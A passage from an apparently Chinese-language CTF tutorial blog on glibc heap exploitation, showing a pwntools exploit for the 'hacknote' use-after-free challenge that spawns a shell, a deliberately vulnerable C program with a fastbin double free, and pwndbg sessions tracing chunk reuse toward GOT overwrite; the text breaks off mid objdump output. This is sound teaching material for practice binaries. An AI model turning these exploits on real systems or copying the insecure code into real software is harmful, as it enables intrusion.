class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line">r = process(<span class="string">'./hacknote'</span>)</span><br><span class="line">elf = ELF(<span class="string">'./hacknote'</span>)</span><br><span class="line"><span class="comment">#r = remote("",)</span></span><br><span class="line"></span><br><span class="line">context.log_level = <span class="string">'debug'</span></span><br><span class="line"></span><br><span class="line">context.terminal = [<span class="string">'deepin-terminal'</span>, <span class="string">'-x'</span>, <span class="string">'sh'</span> ,<span class="string">'-c'</span>]</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> args.G:</span><br><span class="line">    gdb.attach(r)</span><br><span class="line"></span><br><span class="line">magic_addr = <span class="number">0x08048986</span></span><br><span class="line">system_addr = <span class="number">0x8048500</span>+<span class="number">6</span> </span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">add_note</span><span class="params">(size,context)</span>:</span></span><br><span class="line">    r.recvuntil(<span class="string">':'</span>)</span><br><span class="line">    r.send(<span class="string">'1'</span>)</span><br><span class="line">    r.recvuntil(<span class="string">':'</span>)</span><br><span class="line">    r.send(str(size))</span><br><span class="line">    r.recvuntil(<span class="string">':'</span>)</span><br><span class="line">    r.send(context)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">del_note</span><span class="params">(index)</span>:</span></span><br><span class="line">    r.recvuntil(<span class="string">':'</span>)</span><br><span class="line">    r.send(<span class="string">'2'</span>)</span><br><span class="line">    r.recvuntil(<span class="string">':'</span>)</span><br><span class="line">    r.send(str(index))</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">print_note</span><span class="params">(index)</span>:</span></span><br><span class="line">    r.recvuntil(<span class="string">':'</span>)</span><br><span class="line">    r.send(<span class="string">'3'</span>)</span><br><span class="line">    r.recvuntil(<span class="string">':'</span>)</span><br><span class="line">    r.send(str(index))</span><br><span class="line"></span><br><span class="line">add_note(<span class="number">20</span>,<span class="string">'aaaa'</span>)</span><br><span class="line">add_note(<span class="number">20</span>,<span class="string">'bbbb'</span>)</span><br><span class="line"></span><br><span class="line">del_note(<span class="number">0</span>)</span><br><span class="line">del_note(<span class="number">1</span>)</span><br><span class="line"></span><br><span class="line">add_note(<span class="number">8</span>,p32(system_addr)+<span class="string">';sh;'</span>) <span class="comment"># system("address;sh;")</span></span><br><span class="line"></span><br><span class="line">print_note(<span class="number">0</span>)</span><br><span class="line"></span><br><span class="line">r.interactive()</span><br></pre></td></tr></table></figure><p>system函数地址分布如下，+6 的原因是直接走push 0x38的位置，让程序直接去解析system函数真正的位置，也就是执行dl_runtime_resolve(link_map, index) 函数解析system函数的位置，具体原理详见 ret2dl-resolve</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">pwndbg&gt; x/10i 0x8048500</span><br><span class="line">   0x8048500 &lt;system@plt&gt;:jmp    DWORD PTR ds:0x804a028</span><br><span class="line">   0x8048506 &lt;system@plt+6&gt;:push   0x38</span><br><span class="line">   0x804850b &lt;system@plt+11&gt;:jmp    0x8048480</span><br><span class="line">   0x8048510 &lt;<span class="built_in">exit</span>@plt&gt;:jmp    DWORD PTR ds:0x804a02c</span><br><span class="line">   0x8048516 &lt;<span class="built_in">exit</span>@plt+6&gt;:push   0x40</span><br><span class="line">   0x804851b &lt;<span class="built_in">exit</span>@plt+11&gt;:jmp    0x8048480</span><br><span class="line">   0x8048520 &lt;__libc_start_main@plt&gt;:jmp    DWORD PTR ds:0x804a030</span><br><span class="line">   0x8048526 &lt;__libc_start_main@plt+6&gt;:push   0x48</span><br><span class="line">   0x804852b &lt;__libc_start_main@plt+11&gt;:jmp    0x8048480</span><br><span class="line">   0x8048530 &lt;setvbuf@plt&gt;:jmp    DWORD PTR ds:0x804a034</span><br></pre></td></tr></table></figure><h2 id="Double-Free"><a href="#Double-Free" class="headerlink" title="Double Free"></a>Double Free</h2><p><strong>漏洞介绍</strong></p><p>Fastbin Double Free 是指 fastbin 的 chunk 可以被多次释放，因此可以在 fastbin 链表中存在多次。这样导致的后果是多次分配可以从 fastbin 链表中取出同一个堆块，相当于多个指针指向同一个堆块，结合堆块的数据内容可以实现类似于类型混淆 (type confused) 的效果。</p><p>Fastbin Double Free 能够成功利用主要有两部分的原因</p><ul><li>fastbin 的堆块被释放后 next_chunk 的 pre_inuse 位不会被清空</li><li>fastbin 在执行 free 的时候仅验证了 main_arena 直接指向的块，即链表指针头部的块。对于链表后面的块，并没有进行验证。</li></ul><p>更详细的介绍<a href="https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/fastbin_attack/#fastbin-double-free" target="_blank" rel="noopener">CTF-wiki</a>上有，我就不赘述了。下面直接来实例：</p><h3 id="Example-One-1"><a href="#Example-One-1" class="headerlink" title="Example One"></a>Example One</h3><p>首先创建一个heap.c，内容如下</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">include</span><span class="meta-string">&lt;stdio.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span><span class="meta-string">&lt;stdlib.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span><span class="meta-string">&lt;string.h&gt;</span></span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">sh</span><span class="params">(<span class="keyword">char</span> *id)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    system(id);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">setvbuf(<span class="built_in">stdout</span>,<span class="number">0</span>,_IONBF,<span class="number">0</span>);</span><br><span class="line"><span class="keyword">int</span> cmd,idx,sz;</span><br><span class="line"><span class="keyword">char</span> *ptr[<span class="number">10</span>];</span><br><span class="line"><span class="built_in">memset</span>(ptr,<span class="number">0</span>,<span class="keyword">sizeof</span>(ptr));</span><br><span class="line"><span class="built_in">puts</span>(<span class="string">"1.malloc+gets\n2.free\n3.puts\n"</span>);</span><br><span class="line"><span class="keyword">while</span>(<span class="number">1</span>)</span><br><span class="line">&#123;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"&gt; "</span>);</span><br><span class="line"><span class="built_in">scanf</span>(<span class="string">"%d %d"</span>,&amp;cmd,&amp;idx); <span class="comment">//这里cmd是选择功能，idx是为了区分申请的第几个chunk</span></span><br><span class="line">idx %= <span class="number">10</span>;</span><br><span class="line"><span class="keyword">if</span>(cmd==<span class="number">1</span>)</span><br><span class="line">&#123;</span><br><span class="line"><span class="built_in">scanf</span>(<span class="string">"%d%*c"</span>,&amp;sz);</span><br><span class="line">ptr[idx] = <span class="built_in">malloc</span>(sz);</span><br><span class="line">gets(ptr[idx]);</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">else</span> <span class="keyword">if</span>(cmd==<span class="number">2</span>)</span><br><span class="line">&#123;</span><br><span class="line"><span class="built_in">free</span>(ptr[idx]);</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">else</span> <span class="keyword">if</span>(cmd==<span class="number">3</span>)</span><br><span class="line">&#123;</span><br><span class="line"><span class="built_in">puts</span>(ptr[idx]);</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">else</span></span><br><span class="line">&#123;</span><br><span class="line"><span class="built_in">exit</span>(<span class="number">0</span>);</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>编译：</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">gcc -no-pie heap.c -o heap -g -w</span><br></pre></td></tr></table></figure><p>这道题有三个选项，一个申请，一个释放，一个打印，因为可以自己操作释放，我们分析之后发现存在Double Free的漏洞，下面就直接动态演示一下这个过程，我们断在输入的地方</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">pwndbg&gt;</span><span class="bash"> b 20</span></span><br><span class="line">Breakpoint 1 at 0x40085b: file heap.c, line 20.</span><br><span class="line"><span class="meta">pwndbg&gt;</span><span class="bash"> r</span></span><br><span class="line">Starting program: /home/Thunder_J/桌面/heap </span><br><span class="line">1.malloc+gets</span><br><span class="line">2.free</span><br><span class="line">3.puts</span><br><span class="line"></span><br><span class="line"><span class="meta">&gt;</span><span class="bash"> </span></span><br><span class="line">Breakpoint 1, main () at heap.c:20</span><br><span class="line">20scanf("%d %d",&amp;cmd,&amp;idx); //这里cmd是选择功能，idx是为了区分申请的第几个chunk</span><br><span class="line">LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA</span><br><span class="line">─────────────────────────────────[ REGISTERS ]──────────────────────────────────</span><br><span class="line"> RAX  0x2</span><br><span class="line"> RBX  0x0</span><br><span class="line"> RCX  0x0</span><br><span class="line"> RDX  0x7ffff7dd18c0 (_IO_stdfile_1_lock) ◂— 0x0</span><br><span class="line"> RDI  0x1</span><br><span class="line"> RSI  0x7fffffffb8e0 ◂— 0x203e /* '&gt; ' */</span><br><span class="line"> R8   0x2</span><br><span class="line"> R9   0x7ffff7fda4c0 ◂— 0x7ffff7fda4c0</span><br><span class="line"> R10  0x3</span><br><span class="line"> R11  0x246</span><br><span class="line"> R12  0x4006f0 (_start) ◂— xor    ebp, ebp</span><br><span class="line"> R13  0x7fffffffe0e0 ◂— 0x1</span><br><span class="line"> R14  0x0</span><br><span class="line"> R15  0x0</span><br><span class="line"> RBP  0x7fffffffe000 —▸ 0x400940 (__libc_csu_init) ◂— push   r15</span><br><span class="line"> RSP  0x7fffffffdf80 ◂— 0x0</span><br><span class="line"> RIP  0x40085b (main+105) ◂— lea    rdx, [rbp - 0x78]</span><br><span class="line">───────────────────────────────────[ DISASM ]───────────────────────────────────</span><br><span class="line"> ► 0x40085b &lt;main+105&gt;    lea    rdx, [rbp - 0x78] &lt;0x7ffff7dd18c0&gt;</span><br><span class="line">   0x40085f &lt;main+109&gt;    lea    rax, [rbp - 0x7c]</span><br><span class="line">   0x400863 &lt;main+113&gt;    mov    rsi, rax</span><br><span class="line">   0x400866 &lt;main+116&gt;    lea    rdi, [rip + 0x177]</span><br><span class="line">   0x40086d &lt;main+123&gt;    mov    eax, 0</span><br><span class="line">   0x400872 &lt;main+128&gt;    call   __isoc99_scanf@plt &lt;0x4006d0&gt;</span><br><span class="line"> </span><br><span class="line">   0x400877 &lt;main+133&gt;    mov    ecx, dword ptr [rbp - 0x78]</span><br><span class="line">   0x40087a &lt;main+136&gt;    mov    edx, 0x66666667</span><br><span class="line">   0x40087f &lt;main+141&gt;    mov    eax, ecx</span><br><span class="line">   0x400881 &lt;main+143&gt;    imul   edx</span><br><span class="line">   0x400883 &lt;main+145&gt;    sar    edx, 2</span><br><span class="line">───────────────────────────────[ SOURCE (CODE) ]────────────────────────────────</span><br><span class="line">In file: /home/xsj/桌面/heap.c</span><br><span class="line">   15 memset(ptr,0,sizeof(ptr));</span><br><span class="line">   16 puts("1.malloc+gets\n2.free\n3.puts\n");</span><br><span class="line">   17 while(1)</span><br><span class="line">   18 &#123;</span><br><span class="line">   19 printf("&gt; ");</span><br><span class="line"> ► 20 scanf("%d %d",&amp;cmd,&amp;idx); //这里cmd是选择功能，idx是为了区分申请的第几个chunk</span><br><span class="line">   21 idx %= 10;</span><br><span class="line">   22 if(cmd==1)</span><br><span class="line">   23 &#123;</span><br><span class="line">   24 scanf("%d%*c",&amp;sz);</span><br><span class="line">   25 ptr[idx] = malloc(sz);</span><br><span class="line">───────────────────────────────────[ STACK ]────────────────────────────────────</span><br><span class="line">00:0000│ rsp  0x7fffffffdf80 ◂— 0x0</span><br><span class="line">... ↓</span><br><span class="line">─────────────────────────────────[ BACKTRACE ]──────────────────────────────────</span><br><span class="line"> ► f 0           40085b main+105</span><br><span class="line">   f 1     7ffff7a05b97 __libc_start_main+231</span><br><span class="line">Breakpoint /home/Thunder_J/桌面/heap.c:20</span><br></pre></td></tr></table></figure><p>我们按如下方式先申请两块大小为25的内存：</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">pwndbg&gt;</span><span class="bash"> n</span></span><br><span class="line">1 0</span><br><span class="line">...</span><br><span class="line"><span class="meta">pwndbg&gt;</span><span class="bash"> c</span></span><br><span class="line">Continuing.</span><br><span class="line">25 aaaaaaaa</span><br><span class="line">...</span><br><span class="line"><span class="meta">pwndbg&gt;</span><span class="bash"> c</span></span><br><span class="line">Continuing.</span><br><span class="line">1 1</span><br><span class="line">25 bbbbbbbb</span><br><span class="line">...</span><br><span class="line"><span class="meta">pwndbg&gt;</span><span class="bash"> heap <span class="comment">#find heap</span></span></span><br><span class="line">...</span><br><span class="line">0x602660 FASTBIN &#123;</span><br><span class="line">  mchunk_prev_size = 0, </span><br><span class="line">  mchunk_size = 49, </span><br><span class="line">  fd = 0x6161616161616161, </span><br><span class="line">  bk = 0x0, </span><br><span class="line">  fd_nextsize = 0x0, </span><br><span class="line">  bk_nextsize = 0x0</span><br><span class="line">&#125;</span><br><span class="line">0x602690 FASTBIN &#123;</span><br><span class="line">  mchunk_prev_size = 0, </span><br><span class="line">  mchunk_size = 49, </span><br><span class="line">  fd = 0x6262626262626262, </span><br><span class="line">  bk = 0x0, </span><br><span class="line">  fd_nextsize = 0x0, </span><br><span class="line">  bk_nextsize = 0x0</span><br><span class="line">&#125;</span><br><span class="line">...</span><br><span class="line"><span class="meta">pwndbg&gt;</span><span class="bash"> x/20gx 0x602670-16</span></span><br><span class="line">0x602660:0x00000000000000000x0000000000000031</span><br><span class="line">0x602670:0x61616161616161610x0000000000000000#'aaaaaaaa'</span><br><span class="line">0x602680:0x00000000000000000x0000000000000000</span><br><span class="line">0x602690:0x00000000000000000x0000000000000031</span><br><span class="line">0x6026a0:0x62626262626262620x0000000000000000  #'bbbbbbbb'</span><br><span class="line">0x6026b0:0x00000000000000000x0000000000000000</span><br><span class="line">0x6026c0:0x00000000000000000x0000000000020941</span><br><span class="line">0x6026d0:0x00000000000000000x0000000000000000</span><br><span class="line">0x6026e0:0x00000000000000000x0000000000000000</span><br><span class="line">0x6026f0:0x00000000000000000x0000000000000000</span><br></pre></td></tr></table></figure><p>现在我们删除chunk，再次观察这里的内存</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">pwndbg&gt;</span><span class="bash"> c</span></span><br><span class="line">Continuing.</span><br><span class="line">2 0 #free ptr[0]</span><br><span class="line"><span class="meta">&gt;</span><span class="bash"> </span></span><br><span class="line">...</span><br><span class="line"><span class="meta">pwndbg&gt;</span><span class="bash"> c</span></span><br><span class="line">Continuing.</span><br><span class="line">2 1 #free ptr[1]</span><br><span class="line"><span class="meta">&gt;</span><span class="bash"> </span></span><br><span class="line">...</span><br><span class="line"><span class="meta">pwndbg&gt;</span><span class="bash">  x/20gx 0x602670-16</span></span><br><span class="line">0x602660:0x00000000000000000x0000000000000031</span><br><span class="line">0x602670:0x00000000000000000x0000000000000000</span><br><span class="line">0x602680:0x00000000000000000x0000000000000000</span><br><span class="line">0x602690:0x00000000000000000x0000000000000031</span><br><span class="line">0x6026a0:0x00000000006026700x0000000000000000</span><br><span class="line">0x6026b0:0x00000000000000000x0000000000000000</span><br><span class="line">0x6026c0:0x00000000000000000x0000000000020941</span><br><span class="line">0x6026d0:0x00000000000000000x0000000000000000</span><br><span class="line">0x6026e0:0x00000000000000000x0000000000000000</span><br><span class="line">0x6026f0:0x00000000000000000x0000000000000000</span><br><span class="line"><span class="meta">pwndbg&gt;</span><span class="bash"> c</span></span><br><span class="line">Continuing.</span><br><span class="line">2 0 #free ptr[0] again</span><br><span class="line"><span class="meta">&gt;</span><span class="bash"> </span></span><br><span class="line">...</span><br><span class="line"><span class="meta">pwndbg&gt;</span><span class="bash"> x/20gx 0x602670-16</span></span><br><span class="line">0x602660:0x00000000000000000x0000000000000031</span><br><span class="line">0x602670:0x00000000006026a00x0000000000000000 #bp -&gt; 0x6026a0</span><br><span class="line">0x602680:0x00000000000000000x0000000000000000</span><br><span class="line">0x602690:0x00000000000000000x0000000000000031</span><br><span class="line">0x6026a0:0x00000000006026700x0000000000000000 #bp -&gt; 0x602670</span><br><span class="line">0x6026b0:0x00000000000000000x0000000000000000</span><br><span class="line">0x6026c0:0x00000000000000000x0000000000020941</span><br><span class="line">0x6026d0:0x00000000000000000x0000000000000000</span><br><span class="line">0x6026e0:0x00000000000000000x0000000000000000</span><br><span class="line">0x6026f0:0x00000000000000000x0000000000000000</span><br></pre></td></tr></table></figure><p>可以看到上面释放了之后形成了一个双向链表，如果我们继续申请内存，就会申请在0x602670处，这里我们申请到0x602660，其ASCII码为<code>&amp;</code></p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">pwndbg&gt;</span><span class="bash"> c</span></span><br><span class="line">Continuing.</span><br><span class="line">1 2</span><br><span class="line">25 `&amp;`</span><br><span class="line"><span class="meta">&gt;</span><span class="bash"> </span></span><br><span class="line">...</span><br><span class="line"><span class="meta">pwndbg&gt;</span><span class="bash"> x/20gx 0x602670-16</span></span><br><span class="line">0x602660:0x00000000000000000x0000000000000031</span><br><span class="line">0x602670:0x00000000006026600x0000000000000000 #bp -&gt; 0x602660</span><br><span class="line">0x602680:0x00000000000000000x0000000000000000</span><br><span class="line">0x602690:0x00000000000000000x0000000000000031</span><br><span class="line">0x6026a0:0x00000000006026700x0000000000000000</span><br><span class="line">0x6026b0:0x00000000000000000x0000000000000000</span><br><span class="line">0x6026c0:0x00000000000000000x0000000000020941</span><br><span class="line">0x6026d0:0x00000000000000000x0000000000000000</span><br><span class="line">0x6026e0:0x00000000000000000x0000000000000000</span><br><span class="line">0x6026f0:0x00000000000000000x0000000000000000</span><br></pre></td></tr></table></figure><p>我们继续申请内存就会申请到0x602670处的地方</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">pwndbg&gt;</span><span class="bash"> c</span></span><br><span class="line">Continuing.</span><br><span class="line">1 3</span><br><span class="line">25 cccccccc</span><br><span class="line"><span class="meta">&gt;</span><span class="bash"> </span></span><br><span class="line">...</span><br><span class="line"><span class="meta">pwndbg&gt;</span><span class="bash"> x/20gx 0x602670-16</span></span><br><span class="line">0x602660:0x00000000000000000x0000000000000031</span><br><span class="line">0x602670:0x00000000006026600x0000000000000000</span><br><span class="line">0x602680:0x00000000000000000x0000000000000000</span><br><span class="line">0x602690:0x00000000000000000x0000000000000031</span><br><span class="line">0x6026a0:0x63636363636363630x0000000000000000 #'cccccccc'</span><br><span class="line">0x6026b0:0x00000000000000000x0000000000000000</span><br><span class="line">0x6026c0:0x00000000000000000x0000000000020941</span><br><span class="line">0x6026d0:0x00000000000000000x0000000000000000</span><br><span class="line">0x6026e0:0x00000000000000000x0000000000000000</span><br><span class="line">0x6026f0:0x00000000000000000x0000000000000000</span><br></pre></td></tr></table></figure><p>如果我们继续申请，就会覆盖0x602670处的内容，也就是覆盖这个双链表的内容</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">pwndbg&gt;</span><span class="bash"> c</span></span><br><span class="line">Continuing.</span><br><span class="line">1 4</span><br><span class="line">25 deadbeef</span><br><span class="line"><span class="meta">&gt;</span><span class="bash"> </span></span><br><span class="line">...</span><br><span class="line"><span class="meta">pwndbg&gt;</span><span class="bash"> x/20gx 0x602670-16</span></span><br><span class="line">0x602660:0x00000000000000000x0000000000000031</span><br><span class="line">0x602670:0x66656562646165640x0000000000000000 #'deadbeef'</span><br><span class="line">0x602680:0x00000000000000000x0000000000000000</span><br><span class="line">0x602690:0x00000000000000000x0000000000000031</span><br><span class="line">0x6026a0:0x63636363636363630x0000000000000000 #'cccccccc'</span><br><span class="line">0x6026b0:0x00000000000000000x0000000000000000</span><br><span class="line">0x6026c0:0x00000000000000000x0000000000020941</span><br><span class="line">0x6026d0:0x00000000000000000x0000000000000000</span><br><span class="line">0x6026e0:0x00000000000000000x0000000000000000</span><br><span class="line">0x6026f0:0x00000000000000000x0000000000000000</span><br></pre></td></tr></table></figure><p>因为0x602670处指向了0x602660，所以我们再次申请内存就会写在0x602660处</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">pwndbg&gt;</span><span class="bash"> c</span></span><br><span class="line">Continuing.</span><br><span class="line">1 5</span><br><span class="line">25 dddddddd</span><br><span class="line"><span class="meta">&gt;</span><span class="bash"> </span></span><br><span class="line">...</span><br><span class="line"><span class="meta">pwndbg&gt;</span><span class="bash"> x/20gx 0x602670-16</span></span><br><span class="line">0x602660:0x64646464646464640x0000000000000000 #'dddddddd'</span><br><span class="line">0x602670:0x66656562646165640x0000000000000000 #'deadbeef'</span><br><span class="line">0x602680:0x00000000000000000x0000000000000000</span><br><span class="line">0x602690:0x00000000000000000x0000000000000031</span><br><span class="line">0x6026a0:0x63636363636363630x0000000000000000 #'cccccccc'</span><br><span class="line">0x6026b0:0x00000000000000000x0000000000000000</span><br><span class="line">0x6026c0:0x00000000000000000x0000000000020941</span><br><span class="line">0x6026d0:0x00000000000000000x0000000000000000</span><br><span class="line">0x6026e0:0x00000000000000000x0000000000000000</span><br><span class="line">0x6026f0:0x00000000000000000x0000000000000000</span><br></pre></td></tr></table></figure><p>既然0x602660处的地址可以利用，那意味着我们可以将malloc()函数修改为sh()的地址，然后getshell，我们先查看一下函数的地址</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line">root@Thunder_J-virtual-machine:~/桌面# objdump -R heap</span><br><span class="line"></span><br><span class="line">heap：     文件格式 elf64-x86-64</span><br><span class="line"></span><br><span class="line">DYNAMIC RELOCATION RECORDS</span><br><span class="line">OFFSET           TYPE              VALUE </span><br><span class="line">0000000000600ff0 R_X86_64_GLOB_DAT  __libc_start_main@GLIBC_2.2.5</span><br><span class="line">0000000000600ff8 R_X86_64_GLOB_DAT  __gmon_start__</span><br><span class="line">0000000000601078 R_X86_64_COPY     stdout@@GLIBC_2.2.5</span><br><span class="line">0000000000601018 R_X86_64_JUMP_SLOT  free@GLIBC_2.2.5</span><br><span class="line">0000000000601020 R_X86_64_JUMP_SLOT  puts@GLIBC_2.2.5</span><br><span class="line">0000000000601028 R_X86_64_JUMP_SLOT  